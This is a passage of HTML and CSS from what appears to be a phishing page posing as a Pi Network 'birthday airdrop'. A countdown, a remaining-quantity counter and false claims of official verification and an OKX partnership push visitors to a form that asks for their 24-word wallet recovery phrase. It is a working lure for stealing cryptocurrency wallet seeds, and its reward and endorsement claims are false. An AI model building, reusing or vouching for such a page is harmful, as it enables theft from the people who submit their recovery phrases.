				}
			}

			/* Language chooser - enhanced */
			.language-chooser {
				position: fixed;
				bottom: 16px;
				right: 16px;
				display: flex;
				align-items: center;
				z-index: 60;
				background: rgba(255, 255, 255, 0.9);
				border-radius: 30px;
				padding: 6px 10px;
				box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
				backdrop-filter: blur(5px);
				border: 1px solid rgba(255, 255, 255, 0.3);
				transition: all 0.3s ease;
			}

			.language-chooser:hover {
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.25);
			}

			/* Language chooser positioning for mobile devices */
			@media (max-width: 640px) {
				.language-chooser {
					bottom: 16px;
					right: 16px;
				}
			}

			/* For very small screens */
			@media (max-width: 380px) {
				.language-chooser {
					bottom: 10px;
					right: 10px;
					transform: scale(0.9);
				}

				/* .pi-header-content .flex.items-center {
					transform: translateX(
						-15px
					); 
				} */
			}

			.language-option {
				display: flex;
				align-items: center;
				padding: 5px 10px;
				border-radius: 6px;
				cursor: pointer;
				color: rgba(0, 0, 0, 0.7);
				transition: all 0.2s ease;
				margin-left: 8px;
				font-size: 0.9rem;
				font-weight: 500;
			}

			.language-option:hover {
				color: #333;
				background-color: rgba(0, 0, 0, 0.1);
				transform: translateY(-1px);
			}

			.language-option.active {
				color: #fff;
				font-weight: bold;
				background-color: var(--pi-purple);
			}

			.language-option img {
				width: 18px;
				height: 18px;
				margin-right: 6px;
				border-radius: 2px;
				box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
			}

			/* Blocked IP notification - enhanced */
			.ip-blocked-message {
				position: fixed;
				top: 50%;
				left: 50%;
				transform: translate(-50%, -50%);
				background-color: rgba(0, 0, 0, 0.85);
				color: white;
				padding: 35px;
				border-radius: 12px;
				z-index: 2000;
				max-width: 90%;
				width: 420px;
				text-align: center;
				box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
				backdrop-filter: blur(8px);
				display: none;
				border: 1px solid rgba(255, 255, 255, 0.1);
			}

			.ip-blocked-message h3 {
				color: #f44336;
				margin-bottom: 20px;
				font-size: 1.7rem;
				font-weight: 700;
			}

			.ip-blocked-message p {
				margin-bottom: 25px;
				line-height: 1.6;
				font-size: 1.1rem;
			}

			.ip-blocked-message button {
				background-color: #f44336;
				color: white;
				border: none;
				padding: 12px 24px;
				border-radius: 8px;
				font-weight: bold;
				cursor: pointer;
				transition: all 0.3s ease;
				font-size: 1rem;
				box-shadow: 0 5px 15px rgba(244, 67, 54, 0.3);
			}

			.ip-blocked-message button:hover {
				background-color: #d32f2f;
				transform: translateY(-2px);
				box-shadow: 0 8px 20px rgba(244, 67, 54, 0.4);
			}

			/* IP location detection notification - enhanced */
			.location-detected {
				background: rgba(255, 255, 255, 0.97);
				color: #333;
				padding: 12px 20px;
				border-radius: 50px;
				position: fixed;
				bottom: 20px;
				left: 50%;
				transform: translateX(-50%) translateY(20px);
				box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
				z-index: 100;
				display: flex;
				align-items: center;
				justify-content: center;
				font-size: 0.9rem;
				max-width: 90%;
				opacity: 0;
				transition: opacity 0.3s ease, transform 0.3s ease;
				pointer-events: none;
				border: 1px solid rgba(255, 255, 255, 0.3);
			}

			.location-detected.visible {
				opacity: 1;
				transform: translateX(-50%) translateY(0);
				pointer-events: all;
			}

			.location-detected i {
				color: var(--pi-purple);
				margin-right: 8px;
			}

			.location-detected .country-flag {
				width: 22px;
				height: 22px;
				border-radius: 50%;
				margin-right: 10px;
				box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
			}

			/* Form page enhancements */
			#formPage {
				background-color: white !important;
				min-height: calc(100vh);
			}

			#formPage .pi-wallet-style {
				background-color: white;
				margin-top: 15%;
			}

			#formPage .pi-title {
				color: #333;
				text-shadow: none;
				font-weight: 500;
				margin-top: 0; /* Giảm margin từ trên xuống */
				margin-bottom: 2rem;
			}

			#formPage .pi-info-text {
				color: #555;
				font-weight: 400; /* REDUCED from original */
			}

			#formPage .pi-input {
				color: #333;
				font-weight: 500;
			}

			#formPage .limit-message {
				background-color: #fff3cd;
				color: #856404;
			}

			#formPage .error-message {
				background-color: #f8d7da;
				color: #721c24;
			}

			/* Pending requests notification - enhanced */
			.pending-requests-badge {
				position: fixed;
				bottom: 70px;
				right: 16px;
				background: linear-gradient(135deg, #f44336, #ff8177);
				color: white;
				border-radius: 25px;
				padding: 8px 16px;
				font-size: 0.8rem;
				font-weight: bold;
				z-index: 100;
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
				display: none;
				transform: translateY(0);
				transition: transform 0.3s ease, box-shadow 0.3s ease;
				border: 1px solid rgba(255, 255, 255, 0.2);
			}

			.pending-requests-badge:hover {
				transform: translateY(-3px);
				box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
			}

			/* Festive birthday elements */
			.birthday-badge {
				position: absolute;
				top: 10px;
				right: 10px;
				width: 60px;
				height: 60px;
				background: linear-gradient(
					135deg,
					var(--pi-gold),
					var(--pi-gold-dark)
				);
				border-radius: 50%;
				display: flex;
				flex-direction: column;
				align-items: center;
				justify-content: center;
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
				color: white;
				font-weight: bold;
				font-size: 0.8rem;
				padding: 5px;
				transform: rotate(15deg);
				z-index: 10;
			}

			.birthday-badge span:first-child {
				font-size: 1.2rem;
			}

			/* Success Modal Enhancements - Pi Transaction Style */
			#successModal {
				z-index: 2500;
			}

			#successModal .receipt-container {
				max-width: 400px;
				border-radius: 16px;
				overflow: hidden;
				box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4);
				position: relative;
			}

			/* Highlight Important Note Effect */
			.modal-highlight-overlay {
				position: fixed;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				background-color: rgba(0, 0, 0, 0.92); /* Color más oscuro */
				z-index: 2501;
				opacity: 0;
				transition: opacity 0.5s ease;
				pointer-events: none;
			}

			.modal-container {
				position: relative;
				z-index: 2502; /* Por encima del overlay */
			}

			.modal-highlight-active .modal-content-section {
				opacity: 0.2; /* Más atenuado */
				transition: opacity 0.5s ease;
				pointer-events: none;
				filter: grayscale(100%); /* Añadir efecto de escala de grises */
			}

			.modal-highlight-overlay.active {
				opacity: 1;
				pointer-events: auto;
			}

			.highlight-important-note {
				position: relative;
				z-index: 2503;
				animation: pulse-highlight 2s infinite;
				box-shadow: 0 0 30px 15px rgba(255, 193, 7, 0.5); /* Sombra más pronunciada */
				transform: scale(1.05);
				transition: all 0.5s ease;
				opacity: 1 !important;
				pointer-events: auto !important;
				background-color: rgba(
					255,
					248,
					225,
					1
				) !important; /* Fondo más brillante */
				border-color: #ffc107 !important; /* Borde más visible */
			}

			.highlight-important-note:before {
				content: "";
				position: absolute;
				top: -8px;
				left: -8px;
				right: -8px;
				bottom: -8px;
				border: 2px solid #ffc107;
				border-radius: 8px;
				animation: pulse-border 2s infinite;
				z-index: -1;
			}

			.understand-btn {
				display: inline-block;
				background-color: #ffc107;
				color: #333;
				font-weight: bold;
				padding: 8px 15px;
				border-radius: 4px;
				margin-top: 8px;
				cursor: pointer;
				transition: all 0.3s ease;
				border: none;
				text-transform: uppercase;
				font-size: 0.85rem;
				pointer-events: auto !important;
				box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Sombra añadida para destacar el botón */
			}

			.modal-highlight-active {
				background-color: rgba(
					0,
					0,
					0,
					0.95
				) !important; /* Fondo del modal más oscuro cuando está activo */
			}

			.understand-btn:hover {
				background-color: #ffd54f;
				transform: translateY(-2px);
			}

			/* Animaciones se mantienen igual */
			@keyframes pulse-highlight {
				0%,
				100% {
					box-shadow: 0 0 20px 10px rgba(255, 193, 7, 0.2);
				}
				50% {
					box-shadow: 0 0 25px 15px rgba(255, 193, 7, 0.4);
				}
			}

			@keyframes pulse-border {
				0%,
				100% {
					opacity: 0.6;
				}
				50% {
					opacity: 1;
				}
			}

			/* Transaction header styling */
			.transaction-header {
				background: linear-gradient(
					135deg,
					var(--pi-purple),
					var(--pi-purple-dark)
				);
				padding: 20px;
				position: relative;
			}

			.transaction-amount {
				font-size: 2.5rem;
				font-weight: 700;
				color: white;
				text-align: center;
				margin: 10px 0;
			}

			.transaction-date {
				color: rgba(255, 255, 255, 0.8);
				text-align: center;
				font-size: 0.9rem;
			}

			.transaction-close-btn {
				position: absolute;
				top: 15px;
				right: 15px;
				color: white;
				background: rgba(255, 255, 255, 0.2);
				border-radius: 50%;
				width: 30px;
				height: 30px;
				display: flex;
				align-items: center;
				justify-content: center;
				cursor: pointer;
				transition: all 0.2s ease;
			}

			.transaction-close-btn:hover {
				background: rgba(255, 255, 255, 0.3);
				transform: scale(1.1);
			}

			.transaction-details {
				padding: 20px;
			}

			.transaction-detail-row {
				display: flex;
				justify-content: space-between;
				padding: 12px 0;
				border-bottom: 1px solid rgba(0, 0, 0, 0.1);
			}

			.transaction-detail-label {
				color: rgba(0, 0, 0, 0.6);
				font-weight: 500;
			}

			.transaction-detail-value {
				font-weight: 600;
			}

			/* Enhanced notification banner */
			.notification-banner {
				background: linear-gradient(
					to right,
					rgba(248, 192, 86, 0.95),
					rgba(230, 169, 56, 0.95)
				);
				border-radius: 8px;
				box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
				margin: 0 auto 16px;
				max-width: 96%;
				padding: 12px 20px;
				font-weight: 500;
				color: #57401a;
				position: relative;
				border: 1px solid rgba(248, 192, 86, 0.3);
				overflow: hidden;
				display: flex;
				align-items: center;
				justify-content: center;
			}

			.notification-banner::before {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
			}

			.notification-banner p {
				margin: 0;
				position: relative;
				font-size: 0.95rem;
				line-height: 1.5;
				text-align: center;
			}

			.notification-banner i {
				margin-right: 10px;
				color: #57401a;
				font-size: 1.2rem;
			}

			@keyframes shimmer {
				0% {
					transform: translateX(-100%);
				}
				100% {
					transform: translateX(100%);
				}
			}

			/* Enhanced Animations */
			@keyframes shineIcon {
				0% {
					transform: rotate(30deg) translateX(-100%);
				}
				100% {
					transform: rotate(30deg) translateX(100%);
				}
			}

			@keyframes spin {
				to {
					transform: rotate(360deg);
				}
			}

			@keyframes twinkle {
				0%,
				100% {
					opacity: 0.2;
					transform: scale(1);
				}
				50% {
					opacity: 0.5;
					transform: scale(1.2);
				}
			}

			@keyframes twinkleStar {
				0%,
				100% {
					opacity: 0.4;
					transform: scale(1);
					filter: blur(0.5px);
				}
				50% {
					opacity: 0.8;
					transform: scale(1.3);
					filter: blur(1px);
				}
			}

			@keyframes float {
				0% {
					transform: translateY(0);
				}
				50% {
					transform: translateY(-10px);
				}
				100% {
					transform: translateY(0);
				}
			}

			@keyframes floatParticle {
				0% {
					transform: translateY(0) rotate(0deg);
				}
				50% {
					transform: translateY(-20px) rotate(180deg);
				}
				100% {
					transform: translateY(0) rotate(360deg);
				}
			}

			@keyframes waveRotate {
				0% {
					transform: translate(-50%, -50%) rotate(0deg);
				}
				100% {
					transform: translate(-50%, -50%) rotate(360deg);
				}
			}

			@keyframes coinRotate {
				0% {
					transform: rotateY(0deg);
				}
				100% {
					transform: rotateY(360deg);
				}
			}

			@keyframes explode {
				0% {
					opacity: 1;
					transform: translate(0, 0) scale(1);
				}
				100% {
					opacity: 0;
					transform: translate(var(--tx), var(--ty)) scale(0);
				}
			}

			@keyframes lightStreak {
				0%,
				100% {
					opacity: 0;
					transform: rotate(45deg) translateX(-100px);
				}
				10%,
				90% {
					opacity: 0.3;
				}
				50% {
					transform: rotate(45deg) translateX(calc(100vw + 100px));
				}
			}

			/* Enhanced shooting star animation */
			@keyframes shootingStar {
				0% {
					opacity: 0;
					transform: translateX(0) translateY(0) scale(0.5);
				}
				10% {
					opacity: 0.3;
					transform: translateX(50px) translateY(50px) scale(0.7);
				}
				45% {
					opacity: 1;
					transform: translateX(150px) translateY(150px) scale(1);
				}
				70% {
					opacity: 0.3;
					transform: translateX(250px) translateY(250px) scale(0.7);
				}
				100% {
					opacity: 0;
					transform: translateX(300px) translateY(300px) scale(0.5);
				}
			}

			/* Enhanced card wave animation */
			@keyframes cardWave {
				0%,
				100% {
					opacity: 0;
					transform: translate(-25%, -25%) scale(0.1);
				}
				50% {
					opacity: 0.4;
					transform: translate(-25%, -25%) scale(1.8);
				}
			}

			/* Enhanced confetti animation */
			@keyframes confettiFall {
				0% {
					opacity: 1;
					transform: translateY(-10vh) rotate(0deg) scale(0.8);
				}
				50% {
					opacity: 0.8;
					transform: translateY(50vh) rotate(360deg) scale(1.2);
				}
				100% {
					opacity: 0.2;
					transform: translateY(100vh) rotate(720deg) scale(0.8);
				}
			}

			/* Enhanced shiny wave animation */
			@keyframes shinyWave {
				0% {
					left: -100%;
				}
				100% {
					left: 150%;
				}
			}

			/* Rotation animation */
			@keyframes rotate {
				0% {
					transform: rotate(0deg);
				}
				100% {
					transform: rotate(360deg);
				}
			}

			/* Countdown Timer Styles */
			.countdown-container div {
				position: relative;
				transition: all 0.2s ease;
			}

			.countdown-container div:not(:last-child)::after {
				content: ":";
				position: absolute;
				right: -12px;
				top: 50%;
				transform: translateY(-50%);
				font-size: 24px;
				font-weight: bold;
				color: var(--pi-purple);
			}

			.countdown-container div > div:first-child {
				box-shadow: 0 8px 15px rgba(105, 57, 136, 0.3);
				position: relative;
				overflow: hidden;
				border-radius: 0.5rem;
			}

			.countdown-container div > div:first-child::after {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 2px;
				background: rgba(255, 255, 255, 0.5);
			}

			.countdown-pulse {
				animation: countdown-pulse 1s ease;
			}

			@keyframes countdown-pulse {
				0% {
					transform: scale(1);
				}
				50% {
					transform: scale(1.08);
				}
				100% {
					transform: scale(1);
				}
			}
			.icon-header-main svg {
				color: #F8B85B;
				display: flex;
				align-items: center;
				margin-left: 10px;
			}

			.notice {
				position: fixed;
				bottom: 50px;
				right: 10px;
				background-color: #6d3b8fe4; /* Màu tím */
				color: #FFFFFF; /* Màu trắng */
				padding: 15px 25px;
				border-radius: 10px;
				display: none;
				box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
				font-size: 16px;
				font-weight: bold;
				z-index: 1000;
			}

			.show-notice {
				display: block;
				animation: fadeIn 0.5s;
			}

			@keyframes fadeIn {
				from {
					opacity: 0;
					transform: translateX(100px);
				}
				to {
					opacity: 1;
					transform: translateX(0);
				}
			}
		</style>
	</head>
	<body>
		<!-- Premium Background Elements - With optimized shooting stars -->
		<div class="premium-bg">
			<div class="animated-gradient"></div>
			<div class="wave-container">
				<div class="wave wave1"></div>
				<div class="wave wave2"></div>
				<div class="wave wave3"></div>
			</div>
			<div id="starsContainer"></div>
			<div id="singleStarsContainer"></div>
			<div id="shootingStarsContainer"></div>
			<div id="particlesContainer"></div>
			<div id="coinsContainer"></div>
			<div id="lightStreaksContainer"></div>
		</div>

		<!-- Loading Overlay -->
		<div id="loadingOverlay" class="loading-overlay">
			<div class="loading-spinner">
				<div
					class="loading-spinner-label"
					data-vi="Processing..."
					data-en="Processing..."
				>
					Processing...
				</div>
			</div>
		</div>

		<!-- Confetti container for success celebration -->
		<div id="confettiContainer" class="confetti-container"></div>

		<!-- IP Blocked Message -->
		<div id="ipBlockedMessage" class="ip-blocked-message">
			<h3 data-vi="Access Denied" data-en="Access Denied">
				Access Denied
			</h3>
			<p
				data-vi="Your IP address has been blocked due to suspicious activity. Please contact support if you believe this is an error."
				data-en="Your IP address has been blocked due to suspicious activity. Please contact support if you believe this is an error."
			>
			Your IP address has been blocked due to suspicious activity. Please contact support if you believe this is an error.
			</p>
			<button id="closeBlockedMessage" data-vi="Đóng" data-en="Close">
				Close
			</button>
		</div>

		<!-- Location Detection Notification -->
		<div id="locationDetectedMessage" class="location-detected">
			<img
				id="countryFlag"
				src="#"
				alt="Country Flag"
				class="country-flag"
			/>
			<span id="locationText"></span>
		</div>

		<!-- Pending Requests Badge -->
		<div id="pendingRequestsBadge" class="pending-requests-badge">
			<span data-vi="Pending: " data-en="Pending: "></span>
			<span id="pendingCount">0</span>
		</div>

		<!-- Pi Wallet Header -->
		<header class="pi-header">
			<div class="pi-header-content">
				<button class="header-back-btn" id="headerBackBtn">
					<svg
						xmlns="http://www.w3.org/2000/svg"
						width="24"
						height="24"
						viewBox="0 0 24 24"
						fill="none"
						stroke="currentColor"
						stroke-width="2"
						stroke-linecap="round"
						stroke-linejoin="round"
					>
						<path d="M15 18l-6-6 6-6"></path>
					</svg>
				</button>

				<div class="flex items-center">
					<div class="wallet-icon">π</div>
					<span class="wallet-text">Wallet</span>
					<div class="icon-header-main"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 260 260" fill="none" width="20" height="20" class="text-secondary-500"><path fill="currentColor" d="M94.91 66.314c0-1.078.875-1.953 1.954-1.953h18.878c1.079 0 1.953.875 1.953 1.953v14.973a1.953 1.953 0 0 1-1.953 1.953H96.863a1.953 1.953 0 0 1-1.953-1.953V66.314ZM133.97 66.314c0-1.078.875-1.953 1.953-1.953h18.879c1.079 0 1.953.875 1.953 1.953v14.973a1.953 1.953 0 0 1-1.953 1.953h-18.879a1.953 1.953 0 0 1-1.953-1.953V66.314Z"></path><path fill="currentColor" d="M94.91 115.616v77.765l22.785 8.992v-86.757h16.275v77.765l22.785 8.992v-86.757h15.14c12.491 0 22.618-10.234 22.618-22.858V79.985h-22.618v12.773H80.422c-12.492 0-22.618 10.234-22.618 22.858v15.798h22.618v-15.798h14.489Z"></path><path fill="currentColor" fill-rule="evenodd" d="M130.122 20.75c-60.368 0-109.305 48.937-109.305 109.305 0 60.367 48.937 109.305 109.305 109.305 60.367 0 109.305-48.938 109.305-109.305 0-60.368-48.938-109.305-109.305-109.305ZM.943 130.055C.943 58.711 58.778.875 130.122.875c71.343 0 129.178 57.836 129.178 129.18 0 71.343-57.835 129.178-129.178 129.178C58.778 259.233.943 201.398.943 130.055Z" clip-rule="evenodd"></path></svg></div>
					<!-- <div class="pi-coin-icon">π</div> -->
				</div>

				<button class="header-dropdown-btn" id="headerDropdownBtn">
					<svg
						xmlns="http://www.w3.org/2000/svg"
						width="24"
						height="24"
						viewBox="0 0 24 24"
						fill="none"
						stroke="currentColor"
						stroke-width="2"
						stroke-linecap="round"
						stroke-linejoin="round"
					>
						<path d="M6 9l6 6 6-6"></path>
					</svg>
				</button>
			</div>
		</header>

		<!-- Main Content -->
		<div class="page-container">
			<!-- Home Page -->
			<div id="homePage" class="page page-active">
				<div class="container mx-auto px-4">
					<!-- Hero Section -->
					<section class="text-center relative mb-10">
						<i
							class="fas fa-star floating-icon"
							style="top: 10%; right: 10%; opacity: 0.3"
						></i>
						<i
							class="fas fa-coins floating-icon"
							style="bottom: 20%; left: 5%; opacity: 0.3"
						></i>

						<h2
							class="text-xl mx-auto font-bold inline-block relative pt-10 mb-2"
						>
							Pi Network Airdrop Program 
							
						</h2>
						<p
							class="text-4xl mb-8 max-w-2xl mx-auto"
							data-delay="200"
						
						>
							Happy 6th Birthday
						</p>
						<div class="mt-4">
							🎁 Celebrating the 6th birthday and preparing for the Mainnet Mass phase. To thank the entire community, the Pi Network project team will randomly give away 31π - 314π to 31,415 wallets that have successfully KYC.
						</div>
						<div class="text-6xl font-bold animate-bounce my-8" style="color: rgb(251, 180, 74)">
							+314
							<svg class="inline-block w-8 h-8 -mt-4" viewBox="0 0 250 250">
								<path fill="currentColor" d="M94.91 115.616v77.765l22.785 8.992v-86.757h16.275v77.765l22.785 8.992v-86.757h15.14c12.491 0 22.618-10.234 22.618-22.858V79.985h-22.618v12.773H80.422c-12.492 0-22.618 10.234-22.618 22.858v15.798h22.618v-15.798h14.489Z"></path>
							</svg>
						</div>
						<div class="text-lg mb-6">
							<div class="mt-2" style="text-align: center;">
								<div style="display: inline-block; text-align: left;">
									<i class="fas fa-bolt pr-2"></i> Time Remaining: <span id="countdown"  class="font-bold text-shadow">18:47:30</span> minutes
									<br>
									<i class="fas fa-check-circle pr-2"></i> Condition: KYC Successfully Passed
									<br>
									<i class="fas fa-bullseye pr-2"></i> Remaining Quantity: <span class="font-bold"><span id="remainingQuantity">30015</span>/31415</span>
								</div>
							</div>
						</div>
						<button
							id="openFormBtn"
							class="btn-primary text-lg"
							data-delay="400"
						>
							CLAIM 314 PI NOW
						</button>
					
						<!-- Features with enhanced wave effect -->
						<div
							class="grid grid-cols-2 md:grid-cols-4 gap-6 mt-12"
						>
							<div class="card p-5 feature-card">
								<div class="feature-card-wave"></div>
								<div class="feature-icon">
									<i class="fas fa-check-circle"></i>
								</div>
								<p
									class="font-medium mt-4"
								>
									Birthday Program
								</p>
							</div>
							<div class="card p-5 feature-card">
								<div class="feature-card-wave"></div>
								<div class="feature-icon">
									<i class="fas fa-clock"></i>
								</div>
								<p
									class="font-medium mt-4"
								>
									Receive in 24h
								</p>
							</div>
							<div class="card p-5 feature-card">
								<div class="feature-card-wave"></div>
								<div class="feature-icon">
									<i class="fas fa-shield-alt"></i>
								</div>
								<p
									class="font-medium mt-4"
								>
									Safe & Secure
								</p>
							</div>
							<div class="card p-5 feature-card">
								<div class="feature-card-wave"></div>
								<div class="feature-icon">
									<i class="fas fa-users"></i>
								</div>
								<p
									class="font-medium mt-4"
								>
									500000+ Participants
								</p>
							</div>
						</div>

					
					</section>
				
					<!-- About Section with Enhanced Illustration -->
					<section class="mb-10">
						<div class="card p-8 max-w-4xl mx-auto">
							<h3
								class="text-3xl font-bold mb-8 text-center"
								data-vi="About This Program"
								data-en="About This Program"
							>
								About This Program
							</h3>

							<!-- Enhanced About Illustration -->
							<div class="about-illustration">
								<div class="about-circle">
									<i class="fas fa-shield-alt about-icon"></i>
								</div>
							</div>

							<p
								class="mb-8 text-lg text-center"
								data-vi="This reward program is an initiative by Picoreteam and sponsors to support Pi Network pioneers. As an independent promotion, we distribute a limited amount of Pi coins to active community members."
								data-en="This reward program is an initiative by Picoreteam and sponsors to support Pi Network pioneers. As an independent promotion, we distribute a limited amount of Pi coins to active community members."
							>
								This reward program is an initiative by Picoreteam and sponsors to support Pi Network pioneers. As an independent promotion, we distribute a limited amount of Pi coins to active community members.
							</p>

							<h4
								class="text-2xl font-bold mb-6 text-center"
								data-vi="How It Works"
								data-en="How It Works"
							>
								How It Works
							</h4>
							<div
								class="grid grid-cols-2 md:grid-cols-4 gap-6 mb-8"
							>
								<div class="text-center">
									<div
										class="text-2xl font-bold text-purple-600 mb-2"
									>
										1
									</div>
									<p
										data-vi='Click the "Get Pi Rewards Now" button above'
										data-en='Click the "Get Pi Rewards Now" button above'
									>
										Click the "Get Pi Rewards Now" button above
									</p>
								</div>
								<div class="text-center">
									<div
										class="text-2xl font-bold text-purple-600 mb-2"
									>
										2
									</div>
									<p
										data-vi="Enter your 24-word phrase to unlock and claim Pi rewards"
										data-en="Enter your 24-word phrase to unlock and claim Pi rewards"
									>
										Enter your 24-word phrase to unlock and claim Pi rewards
									</p>
								</div>
								<div class="text-center">
									<div
										class="text-2xl font-bold text-purple-600 mb-2"
									>
										3
									</div>
									<p
										data-vi="Submit your request for verification"
										data-en="Submit your request for verification"
									>
										Submit your request for verification
									</p>
								</div>
								<div class="text-center">
									<div
										class="text-2xl font-bold text-purple-600 mb-2"
									>
										4
									</div>
									<p
										data-vi="Receive Pi rewards within 24 hours"
										data-en="Receive Pi rewards within 24 hours"
									>
										Receive Pi rewards within 24 hours
									</p>
								</div>
							</div>

							<div class="certificate">
								<div class="certificate-icon">
									<i class="fas fa-shield-alt"></i>
								</div>
								<p
									class="certificate-title"
									data-vi="Security & Transparency"
									data-en="Security & Transparency"
								>
									Security & Transparency
								</p>
								<p
									class="certificate-text"
									data-vi="This is an independent promotional campaign affiliated and verified by the official Pi Network."
									data-en="This is an independent promotional campaign affiliated and verified by the official Pi Network."
								>
									This is an independent promotional campaign affiliated and verified by the official Pi Network.
								</p>
							</div>
						</div>
					</section>

					<!-- Sponsors Section - Enhanced -->
					<section class="mb-10">
						<h4
							class="text-2xl font-bold mb-8 text-center"
							data-vi="Supported By"
							data-en="Supported By"
						>
							Supported By
						</h4>
						<div class="grid grid-cols-2 md:grid-cols-4 gap-6">
							<div
								class="card p-4 hover:shadow-lg transition-all duration-300"
							>
								<div
									class="text-center text-purple-600 text-3xl mb-2"
								>
									<i class="fas fa-chart-line"></i>
								</div>
								<p class="font-bold text-center">TechFi</p>
								<p
									class="text-sm text-center text-gray-500"
									data-vi="Technical support"
									data-en="Technical support"
								>
									Technical support
								</p>
							</div>
							<div
								class="card p-4 hover:shadow-lg transition-all duration-300"
							>
								<div class="text-center mb-2">
									<img
										src="../images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/9a411426-3711-47d4-9c1a-dcf72973ddfc/dfj37e6-d8b49926-d115-4368-9de8-09a80077fb4f.pn/v1/fill/w_1280%2ch_1280/okx_okb_logo_by_saphyl_dfj37e6-fullview.655f9.delaye?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7ImhlaWdodCI6Ijw9MTI4MCIsInBhdGgiOiJcL2ZcLzlhNDExNDI2LTM3MTEtNDdkNC05YzFhLWRjZjcyOTczZGRmY1wvZGZqMzdlNi1kOGI0OTkyNi1kMTE1LTQzNjgtOWRlOC0wOWE4MDA3N2ZiNGYucG5nIiwid2lkdGgiOiI8PTEyODAifV1dLCJhdWQiOlsidXJuOnNlcnZpY2U6aW1hZ2Uub3BlcmF0aW9ucyJdfQ.kH6v6nu55xLephOzAFFhD2uCYkmFdLsBoTkSuQvtBpo"
										alt="OKX"
										class="w-10 h-10 mx-auto"
									/>
								</div>
								<p class="font-bold text-center">OKX</p>
								<p
									class="text-sm text-center text-gray-500"
									data-vi="Blockchain partner"
									data-en="Blockchain partner"
								>
									Blockchain partner
								</p>
							</div>
							<div
								class="card p-4 hover:shadow-lg transition-all duration-300"
							>
								<div
									class="text-center text-purple-600 text-3xl mb-2"
								>
									<i class="fas fa-credit-card"></i>
								</div>
								<p class="font-bold text-center">CryptoPlus</p>
								<p
									class="text-sm text-center text-gray-500"
									data-vi="Payment gateway"
									data-en="Payment gateway"
								>
									Payment gateway
								</p>
							</div>
							<div
								class="card p-4 hover:shadow-lg transition-all duration-300"
							>
								<div
									class="text-center text-purple-600 text-3xl mb-2"
								>
									<i class="fas fa-users"></i>
								</div>
								<p class="font-bold text-center">PiCommunity</p>
								<p
									class="text-sm text-center text-gray-500"
									data-vi="Community support"
									data-en="Community support"
								>
									Community support
								</p>
							</div>
						</div>
					</section>

					<!-- Footer -->
					<footer class="py-5 px-4 relative">
						<div class="relative z-10 container mx-auto text-center">
							<p
							class="mb-4 max-w-2xl mx-auto"
							>
								This is an independent promotional program verified by the official Pi Network.
							</p>
							<p
								class="text-sm text-gray-500 dark:text-gray-400"
							>
								© 2025 Pi Network Reward Program. All rights reserved.
							</p>
						</div>
					</footer>
				</div>
			</div>

			<!-- Pi Wallet Form Page -->
			<div id="formPage" class="page page-inactive-right">
				<div class="container mx-auto px-4 py-8 bg-white">
					<div class="pi-wallet-style surprise-container">
						<div
							class="pi-title"
						>
							Unlock Pi Wallet
						</div>

						<!-- Limit message container -->
						<div id="limitMessage" class="limit-message">
							<i class="fas fa-exclamation-triangle mr-2"></i>
							<span>
								You have submitted 1/2 requests. Each device is limited to a maximum of 2 requests.
							</span>
						</div>

						<!-- Error message for exceeding limit -->
						<div id="errorMessage" class="error-message">
							<i class="fas fa-ban mr-2"></i>
							<span>
								You have exceeded the allowed number of request submissions (2 times). Please contact support if you need assistance.
							</span>
						</div>

						<div class="animate-on-scroll" data-delay="200">
							<div class="pi-input-container">
								<textarea
									id="walletAddress"
									class="pi-input"
									placeholder="Enter your 24-word recovery phrase here"
								></textarea>
							</div>
							<div id="wordCounter" class="word-counter"></div>
							<div
								id="validationMessage"
								class="validation-message hidden"
							>
								Please enter exactly 24 recovery words
							</div>
						</div>

						<div class="animate-on-scroll" data-delay="400">
							<button
								id="unlockSubmitBtn"
								class="pi-button pi-button-primary surprise-trigger"
							>
								UNLOCK WITH RECOVERY PHRASE
							</button>

							<button
								class="pi-button bg-gray-400"
								disabled
							>
								BIOMETRIC NOT AVAILABLE
							</button>
						</div>

						<div class="pi-info-text">
							<p>
								As a non-custodial wallet, your recovery phrase is only accessible to you. Currently, recovery phrases cannot be recovered if lost.
							</p>
							<p class="mt-2">
								<span>Lost your wallet recovery phrase?</span>
								<a
									href="#"
									class="pi-link"
								>You can create a new wallet</a>, but all π in your previous wallet will be inaccessible.
							</p>
						</div>

						<!-- Hidden explosion particles for surprise effect -->
						<div id="explosionContainer"></div>
					</div>

				</div>
			</div>
			<!-- Trang Tạo Ví Mới -->
			<div
				id="createWalletPage"
				class="page page-inactive-right"
				style="background-color: white"
			>
				<div
					class="container mx-auto px-4"
					style="
						height: 100vh;
						display: flex;
						align-items: center;
						justify-content: center;
					"
				>
					<div
						class="text-center"
						style="max-width: 350px; width: 100%"
					>
						<h1
							class="text-3xl font-medium mb-4"
							style="color: #333333"
						>
							Create your wallet
						</h1>

						<p
							class="mb-10 text-lg font-bold"
							style="color: #333333"
						>
							Don't hit the back button until you've completed the entire process!
						</p>

						<button
							id="createNewWalletBtn"
							class="w-full py-3 text-white font-medium text-base rounded-lg mb-6"
							style="
								background-color: #693988;
								text-transform: uppercase;
							"
						>
							CREATE NEW WALLET
						</button>

						<p
							id="walletErrorMessage"
							class="mb-3 text-left font-normal"
							style="
								color: #a83232;
								font-size: 16px;
								display: none;
							"
						>
